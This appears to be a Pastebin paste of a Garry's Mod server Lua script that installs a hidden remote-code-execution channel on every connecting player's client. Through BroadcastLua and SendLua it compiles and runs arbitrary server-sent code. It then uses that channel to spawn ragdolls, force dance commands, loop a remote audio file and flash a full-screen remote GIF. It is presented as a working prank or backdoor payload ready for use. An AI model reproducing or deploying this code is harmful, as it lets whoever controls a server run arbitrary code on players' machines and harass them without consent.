SHARE
TWEET

Untitled

a guest Sep 22nd, 2019 71 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. -- by IXXE
  2. -- Read LICENSE before making changes
  3.  
  4. function RandomString( intMin, intMax )
  5.     local ret = ""
  6.     for _ = 1, math.random( intMin, intMax ) do
  7.         ret = ret.. string.char( math.random(65, 90) )
  8.     end
  9.     return ret
  10. end
  11.  
  12. m_strImageGlobalVar = RandomString( 6, 12 )
  13.  
  14. local net_string = RandomString(24, 25)
  15.  
  16. util.AddNetworkString(net_string)
  17. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  18. hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  19.     if !ply:IsBot() then
  20.         ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  21.     end
  22. end)
  23.  
  24. local function SendToClient(code)
  25.     timer.Simple(1, function()
  26.         local data = util.Compress(code)
  27.         local len = #data
  28.         net.Start(net_string)
  29.         net.WriteUInt(len, 16)
  30.         net.WriteData(data, len)
  31.         net.Broadcast()
  32.     end)
  33. end
  34.  
  35. hook.Add("Think","\xFF\xFF\xFF",function()
  36.     local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  37.     for _, v in ipairs(player.GetAll()) do
  38.         v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  39.     end
  40. end)
  41.  
  42. SendToClient([=[
  43.         g_]=].. m_strImageGlobalVar.. [=[ = {}
  44.         local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  45.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  46.             local pnl = vgui.Create( "HTML" )
  47.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  48.             pnl:SetVisible( true )
  49.             pnl:SetMouseInputEnabled( false )
  50.             pnl:SetKeyBoardInputEnabled( false )
  51.             pnl:SetSize( intSizeX, intSizeY )
  52.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  53.             local PageLoaded
  54.             PageLoaded = function()
  55.                 local mat = pnl:GetHTMLMaterial()
  56.                 if mat then
  57.                     g_]=].. m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  58.                     return
  59.                 end
  60.                 timer.Simple( 0.5, PageLoaded )
  61.             end
  62.             PageLoaded()
  63.         end
  64.     LoadWebMaterial( "https://media.giphy.com/media/VFl2bcIgmhgSDXSYzU/giphy.gif", "hud2", 256 , 256 )
  65. ]=])
  66.  
  67. SendToClient([=[
  68. timer.Simple(5, function()
  69.     timer.Create("semmmmm", 5, 100, function()
  70.         RunConsoleCommand("act","dance")
  71.         RunConsoleCommand("_darkrp_doanimation", "1642")
  72.     end)
  73.     local ragtbl = {}
  74.     for i=1,20 do
  75.         ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  76.         ragtbl[i]:SetNoDraw( false )
  77.         ragtbl[i]:DrawShadow( true )
  78.     end
  79.     local function GetWebMat( strURL )
  80.         return g_]=].. m_strImageGlobalVar.. [=[[strURL]
  81.     end
  82.     local uwu = {}
  83.     hook.Add("HUDPaint", "okay",function()
  84.         for k,v in pairs(uwu) do
  85.             v()
  86.         end
  87.     end)
  88.     SOUNDSTART_CTP = false
  89.     OZJFOZJCEZIO = true
  90.     sound.PlayURL("https://www.dropbox.com/s/m6ky9mbi2u366au/o.mp3?dl=1","mono noblock noplay",function(s)
  91.         if not s then return end
  92.         if SOUNDSTART_CTP then s:Stop() return end
  93.         SOUNDSTART_CTP = true
  94.         s:SetVolume(1)
  95.         s:Play()
  96.         s:EnableLooping(true)
  97.         local ragtbl = {}
  98.         uwu["CoolEffect"] = function()
  99.             local tbl = {}
  100.             s:FFT(tbl,FFT_2048)
  101.             xpcall(function()
  102.                 local fal = 0
  103.             for i=4,6 do
  104.                 fal = fal + tbl[i]
  105.             end
  106.             if fal > 0.8 then
  107.                 local oneid = "newhud"..math.random(100, 300).."id"
  108.                 hook.Add( "HUDPaint", oneid, function()
  109.                     surface.SetDrawColor( 255, 255, 255, 255 )
  110.                     if GetWebMat( "hud2" ) then -- lui
  111.                         surface.SetMaterial( GetWebMat("hud2")[1] )
  112.                         surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  113.                     end
  114.                 end )
  115.                 timer.Simple(0.2, function()
  116.                     hook.Remove( "HUDPaint", oneid)
  117.                 end)
  118.             end
  119.             end,function()
  120.             end)
  121.         end
  122.     end)
  123. end)
  124. ]=])
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top